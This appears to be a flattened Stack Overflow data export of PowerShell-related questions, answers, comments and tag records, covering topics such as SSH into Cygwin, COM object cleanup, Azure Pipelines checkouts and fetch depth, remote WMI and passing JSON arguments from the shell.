has body: I have a special scenario, I locally use windows 11 comes with openssh client, the server side is a windows server2012 server with cygwin installed, I installed sshd service in cygwin, I locally connect to the server through ssh command, at this time the connection is successful to enter the default bash terminal of cygwin, but when I want to switch to powershell terminal, no matter how I type the command, there is no response. ssh user@host powershell ls ls It's looks like that I also tried direct use the powershell directly ssh user@host powershell It looks like this can there any way to switch to the powershell shell
tagged with: powershell
tagged with: ssh
tagged with: cygwin
score: 0
type: UnansweredQuestion
has title: It's possible to connect the cygwin sshd service and switch to the powershell shell
type: Question
answer count: 0

http://stackoverflow.com/comment/139470192
type: QuestionComment
comment on: http://stackoverflow.com/q/79095487
type: Comment
score: 0
has text: Note that in your benchmarks you not just measuring the performance of the concerned method but also the *function call* which is rather exspenscive in PowerShell, see [PowerShell functions and performance](https://stackoverflow.com/q/54434601/1701026) and [What is the best way to reuse static code](https://stackoverflow.com/q/75722846/1701026)

http://stackoverflow.com/a/79150671
score: 1
has comment: http://stackoverflow.com/comment/139567720
upvote count: 1
type: AcceptedAnswer
type: Answer
has body: If you run this in a loop, then yes.. you are bound to run into memory problems, since you keep creating COM objects, but never release them from memory. After Shortcut.Save() you need to make sure the Windows Garbage Collector will remove them from memory using: $null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($shortcut) $null = [System.Runtime.Interopservices.Marshal]::ReleaseComObject($WshShell) [System.GC]::Collect() [System.GC]::WaitForPendingFinalizers() Force killing scripts when a network path isn't available is also a bad idea.. Why not test a network path BEFORE trying to make a shortcut ? That's what Powershell cmdlets Test-NetConnection and Test-Path are for. B.T.W. Writing all that code in one long line is not only ugly, it also doesn't help in finding any mistakes you may have put in there.. Best write code in multiple lines with proper indentation.
has comment: http://stackoverflow.com/comment/139571641
has comment: http://stackoverflow.com/comment/139567700
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79149164
has comment: http://stackoverflow.com/comment/139567774
answers question: http://stackoverflow.com/q/79149164
has comment: http://stackoverflow.com/comment/139578610

http://stackoverflow.com/comment/139528553
type: Comment
comment on: http://stackoverflow.com/a/79127234
score: 1
type: AnswerComment
has text: Nicely done. To offer two quotes from a relevant GitHub issue by a team member: "It's the difference between an access of an optimized local vs any other variable access. The former generates a strongly typed property in a mutable tuple and adds a dynamic call to PSConvertBinder for every assignment. The latter just calls VariableOps.SetVariableValue [...]" - https://github.com/PowerShell/PowerShell/issues/20273#issuecomment-1720069745.

http://stackoverflow.com/comment/139443076
score: 0
comment on: http://stackoverflow.com/q/79077628
type: QuestionComment
type: Comment
has text: Yet again - I am not asking how to debug standard Rust code, or standard Deno code. I know how to attach a debugger to VSCode. I am not sure how to make the subtlety any clearer. I will edit the question again and put in bold certain points. Perhaps it will help.

http://stackoverflow.com/comment/139617574
has text: Wow!! I was totally unaware that `Set-Content` did that, bit weird, feel so silly, I did what you suggested and I am back with my fully decrypted $PROFILE. Thanks a ton man!! Will keep this mind for future. Thanks again :) Will mark it as accepted in sometime.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79177514
type: AnswerComment

http://stackoverflow.com/q/79102591
has comment: http://stackoverflow.com/comment/139480672
has comment: http://stackoverflow.com/comment/139480706
has title: How to set script prerequisites
type: Question
has comment: http://stackoverflow.com/comment/139480610
tagged with: requires-clause
has body: A while ago I created a small Use-ClassAccessors script and uploaded that to the PowerShell Gallery. Now I am creating another script that has a dependency on the Use-ClassAccessors script. Is there something like a #Requires directive or Using statement where I can set this prerequisite in my new script similar to what might be done for modules? (btw. the Using statement appears to have an undocumented command usingstatementkind but I no clue what the syntax is).
answer count: 0
tagged with: powershell
tagged with: using-statement
type: UnansweredQuestion
score: 0

http://stackoverflow.com/a/79079716
has comment: http://stackoverflow.com/comment/139452251
accepted answer of: http://stackoverflow.com/q/79075932
has comment: http://stackoverflow.com/comment/139478451
type: AcceptedAnswer
has body: You have to pass the $pw variable along with the script block you want to invoke on the remote computer. You don't need to send the whole thing as a string, you can just add -ArgumentList $pw after the script block, then use $args[0] inside the scriptblock itself. Like this: Invoke-Command -ComputerName $bc.Name -ScriptBlock {New-LocalUser -Name "User1" -Password (ConvertTo-SecureString $args[0] -AsPlainText -Force) -FullName "User One" -Description "User Create"} -ArgumentList $pw This works similarly to function calls, you just can't use named variables inside the script block, only the $args[i] format.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79075932

http://stackoverflow.com/a/79199442
accepted answer of: http://stackoverflow.com/q/79163395
upvote count: 1
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79163395
type: Answer
downvote count: 0
has body: In your pipeline_template.yaml, you only add - checkout: self. When you run pipeline2, only repo2 will be checked out, so that the pipeline can't find the PS script in the repo1. According to Check out multiple repositories in your pipeline, if a path is specified for a checkout step, that path is used, relative to (Agent.BuildDirectory). To resolve the above issue, you can checkout repo1 using - checkout: git://project1/repo1 with path and use $(Agent.BuildDirectory)/repo1/helper_scripts/script.ps1 as the path of scripts. Refer to the example below. (I use PowerShell task for example, it's the same for AzureCLI@2 task.) pipeline_template.yaml: jobs: - job: Job1 steps: - checkout: self - checkout: git://project1/repo1 path: repo1 - task: PowerShell@2 inputs: targetType: 'inline' script: 'tree /f /a' workingDirectory: '$(Agent.BuildDirectory)' - task: PowerShell@2 inputs: filePath: '$(Agent.BuildDirectory)/repo1/helper_scripts/script.ps1' Whether to add - checkout: self depends on whether pipeline2 needs the content in repo2. If not, you can remove this line. Result: Pipeline1: Pipeine2:

http://stackoverflow.com/comment/139525939
type: AnswerComment
comment on: http://stackoverflow.com/a/79126797
type: Comment
has text: Thank you, and that does make sense - what type of replace call would I want to use to avoid the false positives?
score: 0

http://stackoverflow.com/comment/139567834
type: Comment
has text: What does this have to do with the question being asked?
comment on: http://stackoverflow.com/a/79150422
type: AnswerComment
score: 2

fileshare
type: Tag
tag name: fileshare
tags question: http://stackoverflow.com/q/79188413

http://stackoverflow.com/comment/139461538
has text: It would appear that a very old version of MSBuild is being invoked. What does `msbuild --version` report? Support for SDK style projects was introduced in v15 of MSBuild. Your project is an SDK style project and needs v15 or newer.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79090851

azure-active-directory
tags question: http://stackoverflow.com/q/79153871
tag name: azure-active-directory
tags question: http://stackoverflow.com/q/79091983
tags question: http://stackoverflow.com/q/79135883
tags question: http://stackoverflow.com/q/79091974
type: Tag
tags question: http://stackoverflow.com/q/79287889
tags question: http://stackoverflow.com/q/79349700
tags question: http://stackoverflow.com/q/79319017
tags question: http://stackoverflow.com/q/79255591
tags question: http://stackoverflow.com/q/79386797
tags question: http://stackoverflow.com/q/79485503
tags question: http://stackoverflow.com/q/79439368
tags question: http://stackoverflow.com/q/79421844
tags question: http://stackoverflow.com/q/79475775
tags question: http://stackoverflow.com/q/79466019
tags question: http://stackoverflow.com/q/79507780
tags question: http://stackoverflow.com/q/79427778

http://stackoverflow.com/comment/139678557
type: QuestionComment
type: Comment
score: 0
has text: Thanks Dial for your quick response. We are installing gateway on EC2 instance in AWS. It's not domain joined. when we try to register the gateway, it says 'cookies are blocked'. If I make Edge as a default browser then we are having to click several times in edge browser like 'welcome to Microsoft Edge, Always have access to browsing data...etc.
comment on: http://stackoverflow.com/q/79210976

http://stackoverflow.com/a/79129510
has body: My module DisplayConfig can get the resolution and refresh rate info with Get-DisplayInfo. I don't currently have a way to get the max refresh rate, but you can get it in a hacky way through tab completion (TabExpansion2 'Set-DisplayRefreshRate -DisplayId 1 -RefreshRate:').CompletionMatches.CompletionText | sort {[double]$_} -Descending | select -First 1 Here's a full example: Get-DisplayInfo | Where-Object -Property Active -EQ $true | ForEach-Object -Process { [pscustomobject]@{ DisplayId = $_.DisplayId DisplayName = $_.DisplayName Width = $_.Mode.Width Height = $_.Mode.Height RefreshRate = $_.Mode.RefreshRate MaxRefreshRate = (TabExpansion2 "Set-DisplayRefreshRate -DisplayId $($_.DisplayId) -RefreshRate:").CompletionMatches.CompletionText | sort {[double]$_} -Descending | select -First 1 } } It should be noted that this doesn't take the current resolution into account which can lead to misleading results. For example your display may support 120 Hz but only at 1080p without HDR enabled so if you are at 4K you won't actually be able to use the listed refresh rate.
score: 2
upvote count: 2
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79128851

sqlpackage
tags question: http://stackoverflow.com/q/79224704
type: Tag
tag name: sqlpackage
tags question: http://stackoverflow.com/q/79276630

http://stackoverflow.com/comment/139710215
comment on: http://stackoverflow.com/q/79220211
has text: Like I said, that is currently above my head. No idea how to do that.
score: 0
type: QuestionComment
type: Comment

beanshell
type: Tag
tag name: beanshell
tags question: http://stackoverflow.com/q/79087081

http://stackoverflow.com/a/79186126
has comment: http://stackoverflow.com/comment/139645963
type: Answer
answers question: http://stackoverflow.com/q/79185594
score: 0
has body: I can tell you that one way is in the following PowerShell environment path. . . "$ENV:AppData\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar" Another way is through the registry. . . "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Taskband" . . .with names like "Favorites", "FavoritesChanges", "Pinned", and "LayoutCycle" You would have to share your PowerShell code you have so far before we can offer any help, but those are some places you could look at.
has comment: http://stackoverflow.com/comment/139637835

kudu
tags question: http://stackoverflow.com/q/79128008
type: Tag
tag name: kudu

http://stackoverflow.com/comment/139462020
comment on: http://stackoverflow.com/q/79091839
score: 0
has text: what is your CLI version here?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139612060
type: AnswerComment
comment on: http://stackoverflow.com/a/79174103
type: Comment
score: 1
has text: @Daniel, although the source uses more correct digits to define Pi, it assigns the written value to a `double` which simply does not have the precision to store that exact value. I will however add a remark to the answer to that effect, as well as including an example of how to use a more exact value of Pi if needed.

http://stackoverflow.com/comment/139694515
comment on: http://stackoverflow.com/q/79219476
type: QuestionComment
type: Comment
has text: After all the work you put into writing this question it's disheartening to see a close vote for insufficient detail. The reason why `$(CONFIG).assembly.assembler` etc. doesn't work is quite obvious. And the OP runs PS 4 times because they need 4 values: if you know how to retrieve 4 values by running one instance of PS, then that's most of the answer to the question. You're basically asking them to answer their own question.
score: 1

http://stackoverflow.com/comment/139428732
score: 0
comment on: http://stackoverflow.com/q/79074308
type: QuestionComment
type: Comment
has text: I edited the code with your suggestion. Unfortunately, nothing changed in the query returned.

http://stackoverflow.com/a/79137320
score: 1
has body: Try following. You can add as many properties as you want to $newRow in the foreach loop $ComputersNames = Get-ADComputer -Filter * | select Name $FileShares = [System.Collections.Generic.List[pscustomobject]]::new() foreach ($ComputerName in '$ComputersNames') { $newRow = New-Object -TypeName psobject $newRow | Add-Member -NotePropertyName 'Computer Name' -NotePropertyValue $ComputerName try { $connected = (Test-Connection -BufferSize 32 -Count 1 -ComputerName $ComputerName -Quiet -ErrorAction Ignore) if ($connected) { $Shares = net view \\$ComputerName /all 2>&1 | select-object -Skip 7 | ?{$_ -match 'disk*'} | %{$_ -match '^(.+?)\s+Disk*'|out-null;$matches[1]} foreach ($Share in $Shares) { $newRow | Add-Member -NotePropertyName 'Property Name' -NotePropertyValue "Property Value" } } } $FileShares.Add($newRow) | Out-Null } Here is another solution moving the code around a little bit $ComputersNames = Get-ADComputer -Filter * | select Name $FileShares = [System.Collections.Generic.List[pscustomobject]]::new() foreach ($ComputerName in '$ComputersNames') { try { $connected = (Test-Connection -BufferSize 32 -Count 1 -ComputerName $ComputerName -Quiet -ErrorAction Ignore) if ($connected) { $Shares = net view \\$ComputerName /all 2>&1 | select-object -Skip 7 | ?{$_ -match 'disk*'} | %{$_ -match '^(.+?)\s+Disk*'|out-null;$matches[1]} foreach ($Share in $Shares) { $newRow = [pscustomobject]@{ 'Computer Name' = $ComputerName 'Property Name 1' = 'Property Value 1' 'Property Name 2' = 'Property Value 2' } $FileShares.Add($newRow) | Out-Null } } } }
upvote count: 1
has comment: http://stackoverflow.com/comment/139548448
has comment: http://stackoverflow.com/comment/139549323
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139550278
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79137119
answers question: http://stackoverflow.com/q/79137119

http://stackoverflow.com/comment/139639471
has text: Oh, and fwiw, that 49665 and nearby ports on Windows are used for RPC remote management and it's normal for them to be listening, even on home systems. See here: https://www.reddit.com/r/sysadmin/comments/9z637e/comment/ea6zv1o/
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79189293

audit
tag name: audit
tags question: http://stackoverflow.com/q/79197594
type: Tag

http://stackoverflow.com/q/79161849
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79161887
has answer: http://stackoverflow.com/a/79161949
possible better answer: http://stackoverflow.com/a/79161887
score: 0
has body: I have a folder with multiple .png and .txt files and I want to make two folders inside the folder I have, so that the files are separated. The .png files will go to a images folder, and the .txt files will go to a labels folder. How can I achieve that through writing commands in terminal (Windows Powershell)?
tagged with: terminal
has title: How can i move specific files from one folder to another, through terminal?
tagged with: command
accepted answer: http://stackoverflow.com/a/79161893
tagged with: windows
type: Question
has answer: http://stackoverflow.com/a/79161893
answer count: 3

http://stackoverflow.com/comment/139624264
has text: How many files there are? Subdirectories?
comment on: http://stackoverflow.com/q/79181031
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/a/79221414
score: 1
upvote count: 1
has body: git diff-tree command requires at least depth 2 to get the changed files. The cause of the issue is related to the fetch depth of the Pipeline repo. By default, the Shallow fetch of the pipeline repo is 1 by default. Refer to this doc: Shallow fetch New pipelines created after the September 2022 Azure DevOps sprint 209 update have Shallow fetch enabled by default and configured with a depth of 1. Previously the default was not to shallow fetch. You can try to set the fetchDepth to 0 or &gt;2 in YAML Pipeline. For example: YAML Pipeline: steps: - checkout: self fetchDepth: 0 Classic Pipeline:
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/79214443
answers question: http://stackoverflow.com/q/79214443

http://stackoverflow.com/comment/139533058
has text: @rotabor the `Disable-NetAdapter` command requires elevated privileges.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79131331

http://stackoverflow.com/comment/139613394
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79172792
type: AnswerComment
has text: @Theo the systemlist was a bit of pseudo code. I was not sure about the syntax. The systems is the same as systemlist

powershell-az-module
type: Tag
tags question: http://stackoverflow.com/q/79096023
tag name: powershell-az-module

http://stackoverflow.com/comment/139454135
type: QuestionComment
type: Comment
score: 1
has text: While not a direct answer to your question, you might also check out .NET Aspire's orchestration projects. They address a lot of multi-start use cases.
comment on: http://stackoverflow.com/q/79087523

http://stackoverflow.com/comment/139480706
type: QuestionComment
comment on: http://stackoverflow.com/q/79102591
type: Comment
has text: ‍♂️ if not a Module then isn't it something you can validate via `if` statement and throw when requirements not met?
score: 1

http://stackoverflow.com/comment/139576279
score: 0
type: AnswerComment
has text: Try also `$_.StrongAuthenticationRequirements.Count -gt 0` ‍♂️
type: Comment
comment on: http://stackoverflow.com/a/79133088

http://stackoverflow.com/comment/139667047
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79204520
type: QuestionComment
has text: Due to the amount of logic, maybe a chain of responsibility pattern. That way you can go up and down the handler.

powershell-2.0
tags question: http://stackoverflow.com/q/79091039
tag name: powershell-2.0
tags question: http://stackoverflow.com/q/79227388
type: Tag
tags question: http://stackoverflow.com/q/79301292
tags question: http://stackoverflow.com/q/79304198
tags question: http://stackoverflow.com/q/79429231

http://stackoverflow.com/comment/139484273
score: 0
comment on: http://stackoverflow.com/q/79104448
type: QuestionComment
type: Comment
has text: First thanks for commenting! I realized, the problem is the call of the PG_epos_backup script. I'm a Powershell newbe. Unlike in CMD terminal, I had to call the backup script using its full name and the executing prefix:: .\PG_epos_backup.cmd. Although the call works, the intended loop to adjust the option -study_name NEXT_STUDY_NAME doesn't. As a workaround, I created a script containing all backup commands, which Powershell executes line by line: .\PG_epos_backup.cmd -study_name 0_12018871_13400 -pns_host XXXXXXXXXXXX -out_dir B:\backups -log_dir B:\backups\00_LOGS -tmp_dir E:\TEMP

http://stackoverflow.com/q/79074164
favorite count: 0
type: Question
downvote count: 0
answer count: 1
has title: Is there a way to run a file that is in a directory with a special character in the name?
tagged with: powershell
type: AnsweredQuestion
has body: My directory structure is C:\Users\...\[MATH] foldername So to change directories, as per some SE post I saw, I have to use: cd 'C:\Users\...\`[MATH`] foldername' which indeed changes to the required directory. Once here, I use py -m venv Project, and it creates the Project folder with the venv stuff correctly. When I try to run Scripts\activate, I get the following error: Line | 185 | $VenvDir = $VenvExecDir.Parent.FullName.TrimEnd(&quot;\\/&quot;) | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | You cannot call a method on a null-valued expression. Line | 138 | $pyvenvConfigPath = Join-Path -Resolve -Path $ConfigDir -ChildPat … | ~~~~~~~~~~ | Cannot bind argument to parameter 'Path' because it is an empty string. Line | 206 | … ose &quot; Got leaf-name of $VenvDir='$(Split-Path -Path $venvDir -Leaf)' … | ~~~~~~~~ | Cannot bind argument to parameter 'Path' because it is an empty string.Line | 207 | $Prompt = Split-Path -Path $venvDir -Leaf | ~~~~~~~~ | Cannot bind argument to parameter 'Path' because it is an empty string. I don't really know how to proceed. Thanks in advance for help. If it helps I'm on a windows system. Basically, I was able to narrow down the problem to the fact that my directory has a special character in it. Using the same procedure for other paths that don't have this causes no issues.
score: 3
accepted answer: http://stackoverflow.com/a/79074166
upvote count: 3
tagged with: python
has answer: http://stackoverflow.com/a/79074166

deno
tags question: http://stackoverflow.com/q/79077628
tag name: deno
type: Tag
tags question: http://stackoverflow.com/q/79340443

junit
tags question: http://stackoverflow.com/q/79077815
type: Tag
tag name: junit

cicd
tags question: http://stackoverflow.com/q/79148904
tags question: http://stackoverflow.com/q/79176549
type: Tag
tag name: cicd
tags question: http://stackoverflow.com/q/79278526
tags question: http://stackoverflow.com/q/79442296

debugging
tags question: http://stackoverflow.com/q/79147832
tags question: http://stackoverflow.com/q/79121130
tag name: debugging
type: Tag

http://stackoverflow.com/q/79109832
has title: Run Powershell scripts from Linux machine
has comment: http://stackoverflow.com/comment/139496150
has answer: http://stackoverflow.com/a/79109834
type: Question
answer count: 1
has body: I have some PowerShell scripts, which remotely collect some info form Windows machines via WMI and then return result in JSON format. Now, for these goal i have windows machine, which has all my scripts on it and has remote access to all my windows machines. All machines are domain machines. The goal is to move the functionality of PowerShell script execution to some linux OS based machine (Debian in prefer). Some example of PowerShell code: $User = "User" $Password = "VerySecurePassword" $Computer = "192.168.0.101" $s_password = $password | ConvertTo-SecureString -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($user, $s_password) get-wmiobject Win32_Product -Computer $Computer -Credential $Cred | Sort Name I saw some PowerShell stuff for Linux, but remote WMI calls is not working for them. I see a workaround to use Ansible for send scripts to machines and execute it localy, but Ansible needs WinRM support, which need to be set up on each of Windows machine firstly. What is the best practice for these stuff? Python solution in prefer
tagged with: powershell
tagged with: powershell-remoting
score: 0
tagged with: linux
type: UnansweredQuestion

http://stackoverflow.com/comment/139546516
type: QuestionComment
has text: please provide a sample output
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79138711

http://stackoverflow.com/comment/139477545
score: 0
has text: @DarrylG OK thanks for the clarification!
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100678

azure-sql-managed-instance
tags question: http://stackoverflow.com/q/79156956
tag name: azure-sql-managed-instance
type: Tag
tags question: http://stackoverflow.com/q/79535515

http://stackoverflow.com/comment/139586047
score: 0
comment on: http://stackoverflow.com/q/79160366
has text: @SantiagoSquarzon Correct, and the .fullname lists the entire path, so I assumed it would be able to copy the file with no issue
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79197517
type: Answer
score: 0
has body: PowerShell invokes a constructor with argument System.Collections.Hashtable when that idiom is used. Specifying such a constructor with read-only properties seems to achieve terse named initialization of read-only properties of a plain old C# object. The code Add-Type -TypeDefinition @' namespace n { public class r { public string s {get;} public r(System.Collections.Hashtable h) { if (h.ContainsKey("s") && (null != (h["s"]))) { this.s = h["s"] as string; } } } } '@ $r = [n.r]@{s='value'} $r $r.s = 'new_value' $r outputs s - value InvalidOperation: Line | 18 | $r.s = 'new_value' | ~~~~~~~~~~~~~~~~~~ | 's' is a ReadOnly property. value PSObject Constructor A more complete such class probably ought to handle other common PowerShell idioms reliably. A constructor that converts from System.Management.Automation.PSObject shown here seems to handle some more of those most common idioms: public r(System.Management.Automation.PSObject p) { if (p.Properties["s"]?.Value is System.Management.Automation.PSObject) { var b = (p.Properties["s"].Value as System.Management.Automation.PSObject).BaseObject; this.s = b as string; return; } this.s = p.Properties["s"]?.Value as string; } The statements [n.r]$m = (Get-Date) | Select-Object -Property @{name='s';expression = {"{0:MMMM}" -f $_}} $m for example output s - November
answers question: http://stackoverflow.com/q/79196182

http://stackoverflow.com/a/79097136
answers question: http://stackoverflow.com/q/79097075
accepted answer of: http://stackoverflow.com/q/79097075
score: 1
upvote count: 1
has body: I can reproduce the same issue when using the same PowerShell Task definition. The cause of the issue is that the syntax of the PowerShell task has issue. To solve this issue, you can use the following PowerShell task sample: - task: PowerShell@2 displayName: Override Tenants.json file inputs: targetType: 'inline' script: | $json = @' $(Deployment.tenantContent) '@; $json | Out-File -encoding "UTF8" "$(Deployment.FilePath)" For more detailed info, you can refer to this doc: PowerShell@2 - PowerShell v2 task
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/comment/139554411
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79136043
has text: there's a https://learn.microsoft.com/en-us/graph/api/message-permanentDelete?view=graph-rest-beta&tabs=http in Beta note that still retains the item but it just out of reach of the users.

chocolatey
tag name: chocolatey
type: Tag
tags question: http://stackoverflow.com/q/79136643
tags question: http://stackoverflow.com/q/79205646
tags question: http://stackoverflow.com/q/79440830
tags question: http://stackoverflow.com/q/79507903
tags question: http://stackoverflow.com/q/79481747

http://stackoverflow.com/a/79117654
type: Answer
score: 0
has body: you can use Powershell transcript and log in different file or even use instead of file path in yaml script inline and write the script to start-transcript and call the Powershell file then end transcript and show the output for more details check this : https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.host/start-transcript?view=powershell-7.4
answers question: http://stackoverflow.com/q/79098114

http://stackoverflow.com/q/79234150
has answer: http://stackoverflow.com/a/79234174
duplicate of: http://stackoverflow.com/q/24745868
type: Question
possible better answer: http://stackoverflow.com/a/79234174
downvote count: 0
tagged with: http://stackoverflow.com/tag/json
tagged with: command-line-arguments
has comment: http://stackoverflow.com/comment/139720399
has body: I've been wrapping my head around this problem and can't find a solution. I have a pretty simple code: import argparse import json def main(): parser = argparse.ArgumentParser(description="Process a JSON argument.") parser.add_argument( "--json", type=str, required=True, help="JSON string or path to a JSON file." ) args = parser.parse_args() # Try to parse the argument as a JSON string or file path try: # First, attempt to parse it as a JSON string data = json.loads(args.json) print("Parsed JSON string successfully:", data) except json.JSONDecodeError: # If that fails, treat it as a file path try: with open(args.json, 'r') as file: data = json.load(file) print("Parsed JSON file successfully:", data) except FileNotFoundError: print("Error: Input is not a valid JSON string or file path.") return # Use the parsed dictionary (data) print("JSON as dictionary:", data) if __name__ == "__main__": main() saved as script.py When I run it from Powershell with python script.py --json '{"key": "value", "number": 42}' I receive: Traceback (most recent call last): File "C:\mypath\script.py", line 17, in main data = json.loads(args.json) File "C:\Users\myuser\miniconda3\envs\ti_nlp\lib\json\__init__.py", line 346, in loads return _default_decoder.decode(s) File "C:\Users\myuser\miniconda3\envs\ti_nlp\lib\json\decoder.py", line 337, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "C:\Users\myuser\miniconda3\envs\ti_nlp\lib\json\decoder.py", line 353, in raw_decode obj, end = self.scan_once(s, idx) json.decoder.JSONDecodeError: Expecting property name enclosed in double quotes: line 1 column 2 (char 1) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\mypath\script.py", line 33, in <module> main() File "C:\mypath\script.py", line 22, in main with open(args.json, 'r') as file: OSError: [Errno 22] Invalid argument: '{key: value, number: 42}' When i run it with cmd (Anaconda prompt): python script.py --json "…
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/75879478
has answer: http://stackoverflow.com/a/79234270
tagged with: python-3.x
tagged with: argparse
has comment: http://stackoverflow.com/comment/139720282
accepted answer: http://stackoverflow.com/a/79234270
tagged with: powershell
linked to: http://stackoverflow.com/q/24745868
has title: How to pass a json as a string argument in python code with use of argsparse and Powershell?
upvote count: 1
answer count: 2
has comment: http://stackoverflow.com/comment/139722589
score: 1
favorite count: 0

http://stackoverflow.com/comment/139720376
comment on: http://stackoverflow.com/q/79227225
score: 0
has text: @mklement0, this is absolutely incorrect, 'in casual speech, "should" and "must" are often interchangeable'. This is not casual chat it's a technical site. Teaching your boy that he should wash his hands after urinating, is good advice, which may prevent a future issue. However there's a huge difference between you 'should' wash your hands, and you 'must' wash them, (there are tens of thousands who don't, yet very few result in a issue.). As for my 'advice', it was not an answer, because I understood the underlying question, hence the reason it was posted as a comment, to fix the code issue.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79213603
type: Answer
has body: Considering that you use azure cli task and service principal, I guess your service principal is used to create service connection. Am I right? If my guess is correct [if not, please ignore my answer -_-], you don't need to get the actual value of the service principal, but directly get the token, and then use the token to send the Invoke-RestMethod request. az account get-access-token Below is a sample to illustrate the case (get azure subscription): pool: vmImage: windows-latest steps: - task: AzureCLI@2 displayName: 'Azure CLI' inputs: scriptType: ps scriptLocation: inlineScript azureSubscription: 'DevOpsSub1Connection-Test' inlineScript: | $subscriptionId = 'xxxxxxx-xxxx-xxxx-xxxx-xxxxxx' $token = $(az account get-access-token --resource-type arm --query accessToken --output tsv) $headers = @{ "Content-Type" = "application/json" "Authorization" = "Bearer " + $token } $uri = "https://management.azure.com/subscriptions/{0}?api-version=2022-12-01" -f $subscriptionId $response = Invoke-RestMethod -Method Get -Uri $uri -Headers $headers $response | ConvertTo-Json -Depth 10
score: 0
answers question: http://stackoverflow.com/q/79213119

http://stackoverflow.com/q/79214443
has answer: http://stackoverflow.com/a/79221414
has title: Calling git command in Azure Pipeline Powershell writes no output
has comment: http://stackoverflow.com/comment/139684624
answer count: 1
has comment: http://stackoverflow.com/comment/139684490
accepted answer: http://stackoverflow.com/a/79221414
downvote count: 0
tagged with: powershell
linked to: http://stackoverflow.com/q/6802145
type: AnsweredQuestion
tagged with: azure-pipelines
has body: In an Azure Pipeline I want to run git diff-tree on the commits in the push that triggered the pipeline. In a Powershell task and using the Azure DevOps Services REST API I am able to get all the commit IDs for the current push. Then, in that task I run & git diff-tree --no-commit-id --name-only $commitId -r, but I get no output from this command. I have tried to call it in various ways: $files = @() foreach ($commitId in $commitIds) { Write-Host "Commit id: $commitId" $files += @(& git diff-tree --no-commit-id --name-only $commitId -r) Write-Host "Last exit code: $LASTEXITCODE" } $files = @() foreach ($commitId in $commitIds) { Write-Host "Commit id: $commitId" & git diff-tree --no-commit-id --name-only $commitId -r > "$commitId.txt" Write-Host "Last exit code: $LASTEXITCODE" $files += @(Get-Content "$commitId.txt") } $files = @() foreach ($commitId in $commitIds) { Write-Host "Commit id: $commitId" $files += @(Invoke-Expression "git diff-tree --no-commit-id --name-only $commitId -r") Write-Host "Last exit code: $LASTEXITCODE" } All of these work locally, but when run in the Azure Pipeline it seems like nothing happens. $LASTEXITCODE is always 0. Why does this not work?
score: 1
upvote count: 1
favorite count: 0
tagged with: git
type: Question

http://stackoverflow.com/comment/139525306
type: QuestionComment
has text: lol i guess this is related to scriptblock optimization
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79126996

http://stackoverflow.com/comment/139515966
has text: Maybe I'm misunderstanding what you're trying to do, but the code attached seems to be requesting an access token. The claims included in that access token is not controlled by what you input in your POST request, but rather controlled by the Application Registration in AzureAD/Entra ID. I belive you need to add optional claims to your token as per the link below: https://learn.microsoft.com/en-us/entra/identity-platform/optional-claims?tabs=appui The returned token will then contain these additional claims. Perhaps you can share a bit more about what you're trying to achieve?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79122039

http://stackoverflow.com/comment/139614820
type: Comment
comment on: http://stackoverflow.com/a/79175800
score: 3
type: AnswerComment
has text: Nice, though `'This apple for you', 'This apples for you' -split 'apples?'` is more concise and performs better.

http://stackoverflow.com/a/79213598
answers question: http://stackoverflow.com/q/79212736
downvote count: 0
has comment: http://stackoverflow.com/comment/139687599
type: Answer
has comment: http://stackoverflow.com/comment/139689244
score: 1
upvote count: 1
has body: The command you are using is not valid for fetching the definitions with descriptions that match the given text.&quot; The Description property is not under the Properties section, so it can be called directly. When I use the same script, it does not fetch any definitions Output: You can use the below cmdlet to fetch the Azure policy definitions where the description matches the text customer managed keys, regardless of its position in the text. Get-AzPolicyDefinition | Where-Object { $_.Description -like &quot;*customer managed keys*&quot; } | Format-List After running the command, Policy definitions with the description text 'customer managed keys' are displayed. Output:

http://stackoverflow.com/comment/139577841
has text: As aside, ideally it's much easier to consume the events using an azure function, event hub trigger makes it really easy: https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger?tabs=python-v2%2Cisolated-process%2Cnodejs-v4%2Cfunctionsv2%2Cextensionv5&pivots=programming-language-powershell
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/79155083

http://stackoverflow.com/a/79171899
score: -1
upvote count: 0
has comment: http://stackoverflow.com/comment/139608010
has comment: http://stackoverflow.com/comment/139608017
has comment: http://stackoverflow.com/comment/139610870
